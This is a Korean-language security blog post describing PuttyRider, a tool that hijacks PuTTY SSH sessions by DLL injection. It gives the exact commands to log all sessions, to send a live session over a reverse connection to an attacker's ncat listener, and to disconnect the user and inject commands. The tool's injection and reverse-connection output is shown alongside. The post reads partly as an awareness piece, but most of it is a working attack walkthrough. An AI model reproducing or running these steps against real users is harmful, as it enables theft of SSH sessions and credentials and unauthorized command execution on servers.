Notice
Recent Posts
Recent Comments
04-25 01:52
관리 메뉴

Black&White

PuttyRider - Putty hijacking 프로그램 본문

Security

PuttyRider - Putty hijacking 프로그램

V.E.N 2014. 12. 15. 17:23

PuttyRider

https://github.com/seastorm/PuttyRider


PuttyRider 는 Putty session 을 중간에서 가로채서 sniffing 하고 또 임의의 명령을 삽입할 수 있다.


사용례

http://www.hackplayers.com/2014/12/puttyrider-pivotando-mediante-el-putty.html



이 puttyrider 는 서버쪽에 설치되는것이 아니라, 서버로 접근하는 PC(windows)에 설치가 된다.


서버에 접근하는 PC를 A라 하고, 서버를 B, 공격자는 H 라 하면,


먼저, 단순하게 putty session 만 hijacking 을 해서 로그를 A의 PC에 저장하는 것을 해보자.


c:\puttyrider.exe -w -f


옵션 설명 :

-w : A 의 PC 의 모든 putty session 과 또는 새롭게 연결되는 putty session 을 Hijacking 하겠다는 의미

-f   : puttyrider 가 실행되는 디렉토리에 hijacking 된 로그를 텍스트 파일로 저장


명령을 실행하면 backgroud 로 돌게 된다.


이후 putty 를 실행하여 서버에 접속하게 되면, puttyrider 디렉토리에 PuttyRider.log.PID (PID는 putty 의 process id) 라는 텍스트 파일이 생성된다.



PuttyRider 는 단순하게 로컬에만 로그를 저장하는 것으로 끝나지 않고, 공격자에게 Hi-jacking 된 세션 정보를 공유하고, 또 서버에 명령을 실행할 수 있다.


공격자 H 는 PuttyRider 로부터 공유된 세션을 받기 위해 netcat(또는 ncat) 을 이용한다.


공격자 H의 PC(10.1.1.1)


c:\ncat -l 8080


PC A (192.168.1.1)

putty 로 서버 B 에 연결후,


c:\puttyrider.exe -p 0 -r 10.1.1.1:8080


위 명령을 실행하면,


PC A의 화면

PuttyRider v0.1
===============

[+] Searching for a Putty process...
[+] Using putty.exe PID=820
[+] Injecting DLL...
[+] Pipe client connected
[+] [820] Target path: E:\1.System\SSH Client\putty.exe
[+] [820] Base address: 00400000
[+] [820] .text start address: 00001000
[+] [820] .text size: 000532b1
[+] [820] ldisc_send() found at: 00407948
[+] [820] term_data() found at: 00435458
[+] [820] Connecting to 10.2.4.101:8080
[+] [820] Reverse connection succeeded
[+] [820] Function hooks installed successfully
[+] Check the log file and/or the remote connection handler
[+] Exiting PuttyRider


공격자 화면에서는

C:>ncat -l 8080

PuttyRider v0.1
===============

[+] [820] Client connected. Putty PID=820
[+] [820] Type !help for more commands


PC  A에서 putty 화면상에서 명령을 입력하면, 공격자 화면에도 동일한 화면이 출력이 된다.



이번에는 공격자 H의 PC 에서 임의의 명령을 입력할 수도 있다.


공격자 H 의 PC 에서 아래 명령을 입력한다.


!discon


이 때, PC A의 putty 세션은 disconnection 상태라 명령입력이 불가능해진다.


이제, 임의의 명령을 입력할 수 있다.


PC A의 putty 세션을 다시 connection 상태로 되돌리기 위해서는


!recon


위 명령을 입력한다.



앞으로 당분간 putty 를 사용할 수 없을 것 같다...


테스트 결과, 현재 putty 의 folk 프로그램 kitty 는 hijack 되지 않지만,..불가능하진 않을 것 같고....


다른 command-line 용 SSH Client 프로그램을 사용해야 할 듯하다.





Comments